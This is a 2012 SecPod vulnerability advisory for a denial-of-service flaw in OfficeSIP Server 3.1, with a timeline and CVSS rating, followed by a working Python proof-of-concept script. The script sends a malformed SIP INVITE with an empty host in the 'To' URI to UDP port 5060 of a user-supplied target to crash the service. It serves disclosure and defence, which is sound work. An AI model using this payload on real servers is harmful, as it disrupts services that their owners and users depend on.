OfficeSIP Server 3.1 - Denial of Service

##############################################################################
#
# Title    : OfficeSIP Server Denial Of Service Vulnerability
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.officesip.com
# Advisory : http://secpod.org/blog/?p=461
#            http://secpod.org/advisories/SecPod_Exploit_OfficeSIP_Server_DOS_Vuln.txt
#            http://secpod.org/exploits/SecPod_Exploit_OfficeSIP_Server_DOS.py
# Software : OfficeSIP Server 3.1
# Date     : 01/02/2012
#
###############################################################################

SecPod ID: 1034					22/12/2011 Issue Discovered
						20/01/2012 Reported to Vendor
						No Response
						01/02/2012 Advisory Released

Class: Denial Of Service			Severity: Medium


Overview:
---------
Office SIP Server version 3.1 is prone to a denial of service vulnerability.


Technical Description:
----------------------
The vulnerability is caused due to improper validation of SIP/SIPS URI in the
'To' header of the request, which allows remote attackers to cause denial of
service condition.


Impact:
--------
Successful exploitation could allow an attacker to crash the service.


Affected Software:
------------------
OfficeSIP Server 3.1


Tested on:
-----------
OfficeSIP Server 3.1 on Windows XP SP2 & SP3.
Older versions might be affected.


References:
-----------
http://www.officesip.com
http://secpod.org/blog/?p=461
http://www.officesip.com/download/OfficeSIP-Server-3.1.zip


Proof of Concept:
----------------
http://secpod.org/exploits/SecPod_Exploit_OfficeSIP_Server_DOS.py


Solution:
----------
Not available


Risk Factor:
-------------
    CVSS Score Report:
        ACCESS_VECTOR          = NETWORK
        ACCESS_COMPLEXITY      = LOW
        AUTHENTICATION         = NOT_REQUIRED
        CONFIDENTIALITY_IMPACT = NONE
        INTEGRITY_IMPACT       = NONE
        AVAILABILITY_IMPACT    = PARTIAL
        EXPLOITABILITY         = PROOF_OF_CONCEPT
        REMEDIATION_LEVEL      = UNAVAILABLE
        REPORT_CONFIDENCE      = CONFIRMED
        CVSS Base Score        = 5 (AV:N/AC:L/Au:N/C:N/I:N/A:P)
        Risk factor            = Medium


Credits:
--------
Prabhu S Angadi of SecPod Technologies has been credited with the discovery of this
vulnerability.

#!/usr/bin/python
##############################################################################
#
# Title    : OfficeSIP Server Denial Of Service Vulnerability
# Author   : Prabhu S Angadi SecPod Technologies (www.secpod.com)
# Vendor   : http://www.officesip.com
# Advisory : http://secpod.org/blog/?p=461
#            http://secpod.org/advisories/SecPod_Exploit_OfficeSIP_Server_DOS_Vuln.txt
#            http://secpod.org/exploits/SecPod_Exploit_OfficeSIP_Server_DOS.py
# Software : OfficeSIP Server 3.1
# Date     : 01/02/2012
#
##############################################################################

import socket,sys,time

port   = 5060
target = raw_input("Enter host/target ip address: ")

if not target:
    print "Host/Target IP Address is not specified"
    sys.exit(1)

print "you entered ", target

try:
    socket.inet_aton(target)
except socket.error:
    print "Invalid IP address found ..."
    sys.exit(1)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
    print "socket() failed service not running"
    sys.exit(1)

#Malicous To SIP URI triggers vulnerability and brings SIP port down
exploit = "INVITE sip:test@officesip.local SIP/2.0\r\n"+\
          "Via: SIP/2.0/UDP example.com\r\n"+\
          "To: user2 <sip:malicioususer@>\r\n"+\
          "From: user1 <sip:user1@server1.com>;tag=00\r\n"+\
          "Call-ID: test@server.com\r\n"+\
          "CSeq: 1 INVITE\r\n"+\
          "Contact: <sip:user1@server1.com>\r\n\r\n"

sock.sendto(exploit, (target, port))
#Server evaluates and takes a while to go down.
time.sleep(40)
sock.close()

#Verify port is down
try:
    sock.connect()
except:
    print "OfficeSIP server port is down."
    print "Service not responding ...."
    sys.exit(1)